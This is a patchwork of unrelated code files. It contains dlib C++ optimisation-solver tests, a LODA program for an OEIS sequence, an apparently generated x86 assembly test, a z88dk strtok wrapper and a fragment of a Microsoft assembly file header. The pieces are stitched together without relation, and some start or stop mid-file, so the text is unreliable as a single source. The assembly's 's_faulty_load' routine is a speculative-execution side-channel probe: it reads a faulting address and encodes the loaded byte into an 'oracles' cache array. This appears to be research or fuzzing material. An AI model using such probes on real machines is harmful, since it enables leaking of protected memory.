// ----------------------------------------------------------------------------------------
double compute_objective_value (
const matrix<double,0,1>& w,
const matrix<double>& A,
const matrix<double,0,1>& b,
const double C
)
{
return 0.5*dot(w,w) + C*max(trans(A)*w + b);
}
// ----------------------------------------------------------------------------------------
void test_qp4_test1()
{
matrix<double> A(3,2);
A = 1,2,
-3,1,
6,7;
matrix<double,0,1> b(2);
b = 1,
2;
const double C = 2;
matrix<double,0,1> alpha(2), true_alpha(2), d(3), lambda;
alpha = C/2, C/2;
d = 0;
solve_qp4_using_smo(A, tmp(trans(A)*A), b, d, alpha, lambda, 1e-9, 800);
matrix<double,0,1> w = lowerbound(-A*alpha, 0);
dlog << LINFO << "*******************************************************";
dlog << LINFO << "w: " << trans(w);
dlog << LINFO << "computed obj: "<< compute_objective_value(w,A,b,C);
w = 0;
dlog << LINFO << "with true w obj: "<< compute_objective_value(w,A,b,C);
dlog << LINFO << "alpha: " << trans(alpha);
true_alpha = 0, 2;
dlog << LINFO << "true alpha: "<< trans(true_alpha);
dlog << LINFO << "alpha error: "<< max(abs(alpha-true_alpha));
DLIB_TEST(max(abs(alpha-true_alpha)) < 1e-9);
}
// ----------------------------------------------------------------------------------------
void test_qp4_test2()
{
matrix<double> A(3,2);
A = 1,2,
3,-1,
6,7;
matrix<double,0,1> b(2);
b = 1,
2;
const double C = 2;
matrix<double,0,1> alpha(2), true_alpha(2), d(3), lambda;
alpha = C/2, C/2;
d = 0;
solve_qp4_using_smo(A, tmp(trans(A)*A), b, d, alpha, lambda, 1e-9, 800);
matrix<double,0,1> w = lowerbound(-A*alpha, 0);
dlog << LINFO << "*******************************************************";
dlog << LINFO << "w: " << trans(w);
dlog << LINFO << "computed obj: "<< compute_objective_value(w,A,b,C);
w = 0, 0.25, 0;
dlog << LINFO << "with true w obj: "<< compute_objective_value(w,A,b,C);
dlog << LINFO << "alpha: " << trans(alpha);
true_alpha = 0.43750, 1.56250;
dlog << LINFO << "true alpha: "<< trans(true_alpha);
dlog << LINFO << "alpha error: "<< max(abs(alpha-true_alpha));
DLIB_TEST(max(abs(alpha-true_alpha)) < 1e-9);
}
// ----------------------------------------------------------------------------------------
void test_qp4_test3()
{
matrix<double> A(3,2);
A = 1,2,
-3,-1,
6,7;
matrix<double,0,1> b(2);
b = 1,
2;
const double C = 2;
matrix<double,0,1> alpha(2), true_alpha(2), d(3), lambda;
alpha = C/2, C/2;
d = 0;
solve_qp4_using_smo(A, tmp(trans(A)*A), b, d, alpha, lambda, 1e-9, 800);
matrix<double,0,1> w = lowerbound(-A*alpha, 0);
dlog << LINFO << "*******************************************************";
dlog << LINFO << "w: " << trans(w);
dlog << LINFO << "computed obj: "<< compute_objective_value(w,A,b,C);
w = 0, 2, 0;
dlog << LINFO << "with true w obj: "<< compute_objective_value(w,A,b,C);
dlog << LINFO << "alpha: " << trans(alpha);
true_alpha = 0, 2;
dlog << LINFO << "true alpha: "<< trans(true_alpha);
dlog << LINFO << "alpha error: "<< max(abs(alpha-true_alpha));
DLIB_TEST(max(abs(alpha-true_alpha)) < 1e-9);
}
// ----------------------------------------------------------------------------------------
void test_qp4_test5()
{
matrix<double> A(3,3);
A = 1,2,4,
3,1,6,
6,7,-2;
matrix<double,0,1> b(3);
b = 1,
2,
3;
const double C = 2;
matrix<double,0,1> alpha(3), true_alpha(3), d(3), lambda;
alpha = C/2, C/2, 0;
d = 0;
solve_qp4_using_smo(A, tmp(trans(A)*A), b, d, alpha, lambda, 1e-9, 800);
matrix<double,0,1> w = lowerbound(-A*alpha, 0);
dlog << LINFO << "*******************************************************";
dlog << LINFO << "w: " << trans(w);
dlog << LINFO << "computed obj: "<< compute_objective_value(w,A,b,C);
w = 0, 0, 0.11111111111111111111;
dlog << LINFO << "with true w obj: "<< compute_objective_value(w,A,b,C);
dlog << LINFO << "alpha: " << trans(alpha);
true_alpha = 0, 0.432098765432099, 1.567901234567901;
dlog << LINFO << "true alpha: "<< trans(true_alpha);
dlog << LINFO << "alpha error: "<< max(abs(alpha-true_alpha));
DLIB_TEST(max(abs(alpha-true_alpha)) < 1e-9);
}
// ----------------------------------------------------------------------------------------
void test_qp4_test4()
{
matrix<double> A(3,2);
A = 1,2,
3,1,
6,7;
matrix<double,0,1> b(2);
b = 1,
2;
const double C = 2;
matrix<double,0,1> alpha(2), d(3), lambda;
alpha = C/2, C/2;
solve_qp4_using_smo(A, tmp(trans(A)*A), b, d, alpha, lambda, 1e-9, 800);
matrix<double,0,1> w = lowerbound(-A*alpha, 0);
dlog << LINFO << "*******************************************************";
dlog << LINFO << "w: " << trans(w);
const double computed_obj = compute_objective_value(w,A,b,C);
w = 0, 0, 0;
const double true_obj = compute_objective_value(w,A,b,C);
dlog << LINFO << "computed obj: "<< computed_obj;
dlog << LINFO << "with true w obj: "<< true_obj;
DLIB_TEST_MSG(abs(computed_obj - true_obj) < 1e-8, abs(computed_obj - true_obj));
}
void test_qp4_test6()
{
matrix<double> A(3,3);
A = 1,2,4,
3,1,6,
6,7,-2;
matrix<double,0,1> b(3);
b = -1,
-2,
-3;
const double C = 2;
matrix<double,0,1> alpha(3), d(3), lambda;
d = 0;
alpha = C/2, C/2, 0;
unsigned long iters = solve_qp4_using_smo(A, tmp(trans(A)*A), b, d, alpha, lambda, 1e-9, 3000);
matrix<double,0,1> w = lowerbound(-A*alpha, 0);
dlog << LINFO << "*******************************************************";
dlog << LINFO << "alpha: " << trans(alpha);
dlog << LINFO << "lambda: " << trans(lambda);
dlog << LINFO << "w: " << trans(w);
const double computed_obj = compute_objective_value(w,A,b,C);
w = 0, 0, 0;
const double true_obj = compute_objective_value(w,A,b,C);
dlog << LINFO << "computed obj: "<< computed_obj;
dlog << LINFO << "with true w obj: "<< true_obj;
DLIB_TEST_MSG(abs(computed_obj - true_obj) < 1e-8,
"computed_obj: "<< computed_obj << " true_obj: " << true_obj << " delta: "<< abs(computed_obj - true_obj)
<< " iters: " << iters
<< "\n alpha: " << trans(alpha)
<< " lambda: " << trans(lambda)
);
}
void test_qp4_test7()
{
matrix<double> A(3,3);
A = -1,2,4,
-3,1,6,
-6,7,-2;
matrix<double,0,1> b(3);
b = -1,
-2,
3;
matrix<double> Q(3,3);
Q = 4,-5,6,
1,-4,2,
-9,-4,5;
Q = Q*trans(Q);
const double C = 2;
matrix<double,0,1> alpha(3), true_alpha(3), d(3), lambda;
alpha = C/2, C/2, 0;
d = 0;
solve_qp4_using_smo(A, Q, b, d, alpha, lambda, 1e-9, 800);
dlog << LINFO << "*******************************************************";
dlog << LINFO << "alpha: " << trans(alpha);
true_alpha = 0, 2, 0;
dlog << LINFO << "true alpha: "<< trans(true_alpha);
dlog << LINFO << "alpha error: "<< max(abs(alpha-true_alpha));
DLIB_TEST(max(abs(alpha-true_alpha)) < 1e-9);
}
// ----------------------------------------------------------------------------------------
void test_solve_qp4_using_smo()
{
test_qp4_test1();
test_qp4_test2();
test_qp4_test3();
test_qp4_test4();
test_qp4_test5();
test_qp4_test6();
test_qp4_test7();
}
// ----------------------------------------------------------------------------------------
double max_distance_to(
const std::vector<matrix<double,0,1>>& a,
const std::vector<matrix<double,0,1>>& b
)
{
double best_dist = 0;
for (auto&& aa : a)
{
for (auto&& bb : b)
{
double dist = length(aa-bb);
if (dist > best_dist)
best_dist = dist;
}
}
return best_dist;
}
double min_distance_to(
const std::vector<matrix<double,0,1>>& a,
const std::vector<matrix<double,0,1>>& b
)
{
double best_dist = std::numeric_limits<double>::infinity();
for (auto&& aa : a)
{
for (auto&& bb : b)
{
double dist = length(aa-bb);
if (dist < best_dist)
best_dist = dist;
}
}
return best_dist;
}
double min_distance_to(
const std::vector<matrix<double,0,1>>& s,
const matrix<double,0,1>& v
)
{
double best_dist = std::numeric_limits<double>::infinity();
for (auto& x : s)
{
double dist = length(v-x);
if (dist < best_dist)
{
best_dist = dist;
}
}
return best_dist;
}
double max_distance_to(
const std::vector<matrix<double,0,1>>& s,
const matrix<double,0,1>& v
)
{
double best_dist = 0;
for (auto& x : s)
{
double dist = length(v-x);
if (dist > best_dist)
{
best_dist = dist;
}
}
return best_dist;
}
void test_find_gap_between_convex_hulls()
{
print_spinner();
std::vector<matrix<double,0,1>> set1, set2;
const double dist_thresh = 5.47723;
// generate two groups of points that are pairwise close within each set and
// pairwise far apart between each set, according to dist_thresh distance threshold.
bool which = true;
for (size_t i = 0; i < 10000; ++i)
{
matrix<double,0,1> v = gaussian_randm(15,1,i);
const auto min_dist1 = min_distance_to(set1,v);
const auto min_dist2 = min_distance_to(set2,v);
const auto max_dist1 = max_distance_to(set1,v);
const auto max_dist2 = max_distance_to(set2,v);
if (which)
{
if ((set1.size()==0 || max_dist1 < dist_thresh) && min_dist2 > dist_thresh )
{
set1.push_back(v);
which = !which;
}
}
else
{
if ((set2.size()==0 || max_dist2 < dist_thresh) && min_dist1 > dist_thresh)
{
set2.push_back(v);
which = !which;
}
}
}
dlog << LINFO << "set1.size(): "<< set1.size();
dlog << LINFO << "set2.size(): "<< set2.size();
// make sure we generated the points correctly.
dlog << LINFO << "dist_thresh: "<< dist_thresh;
dlog << LINFO << "max distance between set1 and set1: "<< max_distance_to(set1,set1);
dlog << LINFO << "max distance between set2 and set2: "<< max_distance_to(set2,set2);
DLIB_TEST(max_distance_to(set1,set1) < dist_thresh);
DLIB_TEST(max_distance_to(set2,set2) < dist_thresh);
dlog << LINFO << "min distance between set2 and set1: "<< min_distance_to(set2,set1);
DLIB_TEST(min_distance_to(set2,set1) > dist_thresh);
// It is slightly counterintuitive but true that points picked using the above procedure
// will have elements of their convex hulls that are much closer together than
// dist_thresh, even though none of the vertices of the hulls are that close
// together. This is especially true in high dimensions. So let's use this to
// test find_gap_between_convex_hulls(). It should be able to find a pair of
// points in the convex hulls of our sets that are a lot closer together than
// dist_thresh.
// First we need to convert the vectors to matrices.
matrix<double> A, B;
A.set_size(set1[0].size(), set1.size());
B.set_size(set2[0].size(), set2.size());
for (long c = 0; c < A.nc(); ++c)
set_colm(A,c) = set1[c];
for (long c = 0; c < B.nc(); ++c)
set_colm(B,c) = set2[c];
matrix<double,0,1> c1, c2;
find_gap_between_convex_hulls(A, B, c1, c2, 0.0001);
// make sure c1 and c2 are convex combinations.
DLIB_TEST(abs(sum(c1)-1) < 1e-8);
DLIB_TEST(abs(sum(c2)-1) < 1e-8);
DLIB_TEST(min(c1) >= 0);
DLIB_TEST(min(c2) >= 0);
// now test that the points found are close together.
dlog << LINFO << "dist: "<< length(A*c1 - B*c2);
DLIB_TEST(length(A*c1 - B*c2) < 4);
}
// ----------------------------------------------------------------------------------------
void test_solve_qp_box_constrained_blockdiag()
{
dlib::rand rnd;
for (int iter = 0; iter < 50; ++iter)
{
print_spinner();
matrix<double> Q1, Q2;
matrix<double,0,1> b1, b2;
Q1 = randm(4,4,rnd); Q1 = Q1*trans(Q1);
Q2 = randm(4,4,rnd); Q2 = Q2*trans(Q2);
b1 = gaussian_randm(4,1, iter*2+0);
b2 = gaussian_randm(4,1, iter*2+1);
std::map<unordered_pair<size_t>, matrix<double,0,1>> offdiag;
if (rnd.get_random_gaussian() > 0)
offdiag[make_unordered_pair(0,0)] = randm(4,1,rnd);
if (rnd.get_random_gaussian() > 0)
offdiag[make_unordered_pair(1,0)] = randm(4,1,rnd);
if (rnd.get_random_gaussian() > 0)
offdiag[make_unordered_pair(1,1)] = randm(4,1,rnd);
std::vector<matrix<double>> Q_blocks = {Q1, Q2};
std::vector<matrix<double,0,1>> bs = {b1, b2};
// make the single big Q and b
matrix<double> Q = join_cols(join_rows(Q1, zeros_matrix(Q1)),
join_rows(zeros_matrix(Q2),Q2));
matrix<double,0,1> b = join_cols(b1,b2);
for (auto& p : offdiag)
{
long r = p.first.first;
long c = p.first.second;
set_subm(Q, 4*r,4*c, 4,4) += diagm(p.second);
if (c != r)
set_subm(Q, 4*c,4*r, 4,4) += diagm(p.second);
}
matrix<double,0,1> alpha = zeros_matrix(b);
matrix<double,0,1> lower = -10000*ones_matrix(b);
matrix<double,0,1> upper = 10000*ones_matrix(b);
auto iters = solve_qp_box_constrained(Q, b, alpha, lower, upper, 1e-9, 10000);
dlog << LINFO << "iters: "<< iters;
dlog << LINFO << "alpha: " << trans(alpha);
dlog << LINFO;
std::vector<matrix<double,0,1>> alphas(2);
alphas[0] = zeros_matrix<double>(4,1); alphas[1] = zeros_matrix<double>(4,1);
lower = -10000*ones_matrix(alphas[0]);
upper = 10000*ones_matrix(alphas[0]);
std::vector<matrix<double,0,1>> lowers = {lower,lower}, uppers = {upper, upper};
auto iters2 = solve_qp_box_constrained_blockdiag(Q_blocks, bs, offdiag, alphas, lowers, uppers, 1e-9, 10000);
dlog << LINFO << "iters2: "<< iters2;
dlog << LINFO << "alpha: " << trans(join_cols(alphas[0],alphas[1]));
dlog << LINFO << "obj1: "<< 0.5*trans(alpha)*Q*alpha + trans(b)*alpha;
dlog << LINFO << "obj2: "<< 0.5*trans(join_cols(alphas[0],alphas[1]))*Q*join_cols(alphas[0],alphas[1]) + trans(b)*join_cols(alphas[0],alphas[1]);
dlog << LINFO << "obj1-obj2: "<<(0.5*trans(alpha)*Q*alpha + trans(b)*alpha) - (0.5*trans(join_cols(alphas[0],alphas[1]))*Q*join_cols(alphas[0],alphas[1]) + trans(b)*join_cols(alphas[0],alphas[1]));
DLIB_TEST_MSG(max(abs(alpha - join_cols(alphas[0], alphas[1]))) < 1e-6, max(abs(alpha - join_cols(alphas[0], alphas[1]))));
DLIB_TEST(iters == iters2);
}
}
// ----------------------------------------------------------------------------------------
void test_solve_qp_box_constrained_blockdiag_compact(dlib::rand& rnd, double percent_off_diag_present)
{
print_spinner();
dlog << LINFO << "test_solve_qp_box_constrained_blockdiag_compact(), percent_off_diag_present==" << percent_off_diag_present;
std::map<unordered_pair<size_t>, matrix<double,0,1>> offdiag;
std::vector<matrix<double>> Q_blocks;
std::vector<matrix<double,0,1>> bs;
const long num_blocks = 20;
const long dims = 4;
const double lambda = 10;
for (long i = 0; i < num_blocks; ++i)
{
matrix<double> Q1;
matrix<double,0,1> b1;
Q1 = randm(dims,dims,rnd); Q1 = Q1*trans(Q1);
b1 = gaussian_randm(dims,1, i);
Q_blocks.push_back(Q1);
bs.push_back(b1);
// test with some graph regularization terms
for (long j = 0; j < num_blocks; ++j)
{
if (rnd.get_random_double() < percent_off_diag_present)
{
if (i==j)
offdiag[make_unordered_pair(i,j)] = (num_blocks-1)*lambda*rnd.get_random_double()*ones_matrix<double>(dims,1);
else
offdiag[make_unordered_pair(i,j)] = -lambda*rnd.get_random_double()*ones_matrix<double>(dims,1);
}
}
}
// build out the dense version of the QP so we can test it against the dense solver.
matrix<double> Q(num_blocks*dims, num_blocks*dims);
Q = 0;
matrix<double,0,1> b(num_blocks*dims);
for (long i = 0; i < num_blocks; ++i)
{
set_subm(Q,i*dims,i*dims,dims,dims) = Q_blocks[i];
set_subm(b,i*dims,0,dims,1) = bs[i];
}
for (auto& p : offdiag)
{
long r = p.first.first;
long c = p.first.second;
set_subm(Q, dims*r,dims*c, dims,dims) += diagm(p.second);
if (c != r)
set_subm(Q, dims*c,dims*r, dims,dims) += diagm(p.second);
}
matrix<double,0,1> alpha = zeros_matrix<double>(dims*num_blocks,1);
matrix<double,0,1> lower = -10000*ones_matrix<double>(dims*num_blocks,1);
matrix<double,0,1> upper = 10000*ones_matrix<double>(dims*num_blocks,1);
auto iters = solve_qp_box_constrained(Q, b, alpha, lower, upper, 1e-9, 20000);
dlog << LINFO << "iters: "<< iters;
matrix<double,0,1> init_alpha = zeros_matrix(bs[0]);
lower = -10000*ones_matrix(bs[0]);
upper = 10000*ones_matrix(bs[0]);
std::vector<matrix<double,0,1>> alphas(num_blocks, init_alpha);
std::vector<matrix<double,0,1>> lowers(num_blocks, lower);
std::vector<matrix<double,0,1>> uppers(num_blocks, upper);
auto iters2 = solve_qp_box_constrained_blockdiag(Q_blocks, bs, offdiag, alphas, lowers, uppers, 1e-9, 20000);
dlog << LINFO << "iters2: "<< iters2;
const matrix<double> refalpha = reshape(alpha, num_blocks, dims);
// now make sure the two solvers agree on the outputs.
for (long r = 0; r < num_blocks; ++r)
{
for (long c = 0; c < dims; ++c)
{
DLIB_TEST_MSG(std::abs(refalpha(r,c) - alphas[r](c)) < 1e-6, std::abs(refalpha(r,c) - alphas[r](c)));
}
}
}
// ----------------------------------------------------------------------------------------
class opt_qp_solver_tester : public tester
{
/*
The idea here is just to solve the same problem with two different
methods and check that they basically agree. The SMO solver should be
very accurate but for this problem the BFGS solver is relatively
inaccurate. So this test is really just a sanity check on the SMO
solver.
*/
public:
opt_qp_solver_tester (
) :
tester ("test_opt_qp_solver",
"Runs tests on the solve_qp_using_smo component.")
{
thetime = time(0);
}
time_t thetime;
dlib::rand rnd;
void perform_test(
)
{
print_spinner();
test_solve_qp4_using_smo();
print_spinner();
++thetime;
//dlog << LINFO << "time seed: " << thetime;
//rnd.set_seed(cast_to_string(thetime));
running_stats<double> rs;
for (int i = 0; i < 40; ++i)
{
for (long dims = 1; dims < 6; ++dims)
{
rs.add(do_the_test(dims, 1.0));
}
}
for (int i = 0; i < 40; ++i)
{
for (long dims = 1; dims < 6; ++dims)
{
rs.add(do_the_test(dims, 5.0));
}
}
dlog << LINFO << "disagreement mean: " << rs.mean();
dlog << LINFO << "disagreement stddev: " << rs.stddev();
DLIB_TEST_MSG(rs.mean() < 0.001, rs.mean());
DLIB_TEST_MSG(rs.stddev() < 0.001, rs.stddev());
test_find_gap_between_convex_hulls();
test_solve_qp_box_constrained_blockdiag();
// try a range of off diagonal sparseness. We do this to make sure we exercise both
// the compact and sparse code paths within the solver.
test_solve_qp_box_constrained_blockdiag_compact(rnd, 0.001);
test_solve_qp_box_constrained_blockdiag_compact(rnd, 0.01);
test_solve_qp_box_constrained_blockdiag_compact(rnd, 0.04);
test_solve_qp_box_constrained_blockdiag_compact(rnd, 0.10);
test_solve_qp_box_constrained_blockdiag_compact(rnd, 0.50);
test_solve_qp_box_constrained_blockdiag_compact(rnd, 1.00);
}
double do_the_test (
const long dims,
double C
)
{
print_spinner();
dlog << LINFO << "dims: " << dims;
dlog << LINFO << "testing with C == " << C;
test_smo test;
test.Q = randm(dims, dims, rnd);
test.Q = trans(test.Q)*test.Q;
test.b = randm(dims,1, rnd);
test.C = C;
test_smo_derivative der;
der.Q = test.Q;
der.b = test.b;
der.C = test.C;
matrix<double,0,1> x(dims), alpha(dims);
test.penalty = 20000;
der.penalty = test.penalty;
alpha = C/alpha.size();
x = alpha;
const unsigned long max_iter = 400000;
solve_qp_using_smo(test.Q, test.b, alpha, 0.00000001, max_iter);
DLIB_TEST_MSG(abs(sum(alpha) - C) < 1e-13, abs(sum(alpha) - C) );
dlog << LTRACE << "alpha: " << alpha;
dlog << LINFO << "SMO: true objective: "<< 0.5*trans(alpha)*test.Q*alpha - trans(alpha)*test.b;
double obj = find_min(bfgs_search_strategy(),
objective_delta_stop_strategy(1e-13, 5000),
test,
der,
x,
-10);
dlog << LINFO << "BFGS: objective: " << obj;
dlog << LINFO << "BFGS: true objective: "<< 0.5*trans(x)*test.Q*x - trans(x)*test.b;
dlog << LINFO << "sum(x): " << sum(x);
dlog << LINFO << x;
double disagreement = max(abs(x-alpha));
dlog << LINFO << "Disagreement: " << disagreement;
return disagreement;
}
} a;
}
|
; A205549: Symmetric matrix by antidiagonals: C(max(i+2,j+2),min(i+2,j+2)), i>=1, j>=1.
; Submitted by Christian Krause
; 1,4,4,10,1,10,20,5,5,20,35,15,1,15,35,56,35,6,6,35,56,84,70,21,1,21,70,84,120,126,56,7,7,56,126,120,165,210,126,28,1,28,126,210,165,220,330,252,84,8,8,84,252,330,220,286,495,462,210,36,1,36,210,462
lpb $0
add $1,1
sub $0,$1
mov $2,$1
sub $2,$0
lpe
min $0,$2
add $1,3
sub $1,$0
add $0,3
bin $1,$0
mov $0,$1
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r11
push %r13
push %r14
push %rbp
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_WC_ht+0x1d1cf, %r13
nop
nop
sub %rbp, %rbp
mov (%r13), %rdx
nop
nop
nop
nop
nop
cmp %rbp, %rbp
lea addresses_D_ht+0x65e2, %r10
nop
add %r11, %r11
vmovups (%r10), %ymm7
vextracti128 $1, %ymm7, %xmm7
vpextrq $1, %xmm7, %r14
nop
nop
nop
nop
nop
inc %rdx
lea addresses_WC_ht+0x9f22, %rsi
lea addresses_normal_ht+0x12e74, %rdi
nop
nop
nop
nop
dec %r11
mov $111, %rcx
rep movsl
nop
nop
xor %r10, %r10
lea addresses_normal_ht+0x7e2, %r13
nop
nop
xor $34832, %rdi
vmovups (%r13), %ymm3
vextracti128 $0, %ymm3, %xmm3
vpextrq $1, %xmm3, %rbp
nop
nop
mfence
lea addresses_normal_ht+0x71e2, %r10
and %rsi, %rsi
movw $0x6162, (%r10)
nop
nop
add %rdi, %rdi
lea addresses_A_ht+0x14de2, %rsi
lea addresses_A_ht+0x157e2, %rdi
clflush (%rsi)
clflush (%rdi)
nop
nop
nop
and %rbp, %rbp
mov $35, %rcx
rep movsw
nop
nop
nop
xor $54179, %rdi
lea addresses_D_ht+0xd18d, %rdi
clflush (%rdi)
and %rsi, %rsi
mov (%rdi), %rbp
nop
nop
nop
nop
lfence
lea addresses_A_ht+0x12590, %rdx
nop
nop
nop
nop
cmp $56580, %r13
movw $0x6162, (%rdx)
nop
nop
nop
and %rsi, %rsi
lea addresses_WT_ht+0x1e2, %r10
nop
nop
nop
nop
nop
cmp $11189, %r14
movups (%r10), %xmm6
vpextrq $0, %xmm6, %rbp
nop
dec %rcx
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbp
pop %r14
pop %r13
pop %r11
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r11
push %r13
push %r14
push %r9
push %rdi
// Store
lea addresses_UC+0x200, %r10
cmp $4355, %rdi
mov $0x5152535455565758, %r14
movq %r14, (%r10)
nop
nop
nop
add $63225, %r13
// Store
mov $0x37368f00000009e2, %r11
nop
nop
nop
and %r9, %r9
movb $0x51, (%r11)
nop
nop
nop
nop
nop
xor $51891, %r11
// Faulty Load
mov $0x37368f00000009e2, %r11
nop
xor $2730, %rdi
vmovups (%r11), %ymm1
vextracti128 $0, %ymm1, %xmm1
vpextrq $0, %xmm1, %r13
lea oracles, %rdi
and $0xff, %r13
shlq $12, %r13
mov (%rdi,%r13,1), %r13
pop %rdi
pop %r9
pop %r14
pop %r13
pop %r11
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_NC'}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 8, 'NT': False, 'type': 'addresses_UC'}}
{'OP': 'STOR', 'dst': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 1, 'NT': False, 'type': 'addresses_NC'}}
[Faulty Load]
{'src': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 32, 'NT': False, 'type': 'addresses_NC'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 8, 'NT': False, 'type': 'addresses_WC_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 10, 'AVXalign': False, 'same': False, 'size': 32, 'NT': False, 'type': 'addresses_D_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 6, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'dst': {'congruent': 1, 'same': False, 'type': 'addresses_normal_ht'}}
{'src': {'congruent': 5, 'AVXalign': False, 'same': False, 'size': 32, 'NT': False, 'type': 'addresses_normal_ht'}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'congruent': 10, 'AVXalign': False, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_normal_ht'}}
{'src': {'congruent': 7, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'REPM', 'dst': {'congruent': 5, 'same': False, 'type': 'addresses_A_ht'}}
{'src': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 8, 'NT': False, 'type': 'addresses_D_ht'}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'congruent': 1, 'AVXalign': False, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_A_ht'}}
{'src': {'congruent': 9, 'AVXalign': False, 'same': False, 'size': 16, 'NT': False, 'type': 'addresses_WT_ht'}, 'OP': 'LOAD'}
{'00': 205, '5f': 7, '51': 21617}
51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 00 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 00 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 00 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 00 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 00 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 00 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 00 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51
*/
|
; ===============================================================
; Dec 2013
; ===============================================================
;
; char *strtok(char * restrict s1, const char * restrict s2)
;
; Return the next token from the string being traversed.
; s2 is a string of delimiters used to identify where the next
; token ends.
;
; (1) If s1 != NULL, make s1 the new string to traverse. Else
; use the internally stored string position.
; (2) Skip over any delimiting chars at the head of the current
; string. This position becomes the start of the next token.
; (3) Find the end of the next token by searching for the first
; delimiter char.
; (4) Terminate the next token by overwriting the delimiter char
; with 0.
; (5) Update internal variable to search the string beginning
; after this terminating 0 on next call to strtok().
; (6) Return pointer to the found token.
;
; ===============================================================
SECTION code_string
PUBLIC asm_strtok
EXTERN __string_strtok_p
EXTERN asm_strtok_r
asm_strtok:
; enter : de = char *s2 = delimiters
; hl = char *s1 = string to tokenize
;
; exit : de = char *s2 = delimiters
;
; found
;
; carry set
; hl = ptr to token
;
; not found
;
; carry reset
; hl = 0
;
; uses : af, bc, hl
ld bc,__string_strtok_p
jp asm_strtok_r
|
TITLE BINXLAT.ASM - Binaray file translation code
;***
;BinXlat.ASM - Provides binaray file translation
;
; Copyright (C) 1988-1989, Microsoft Corporation
;
;Purpose:
; BinXlat.ASM contains the product to product binary file translation
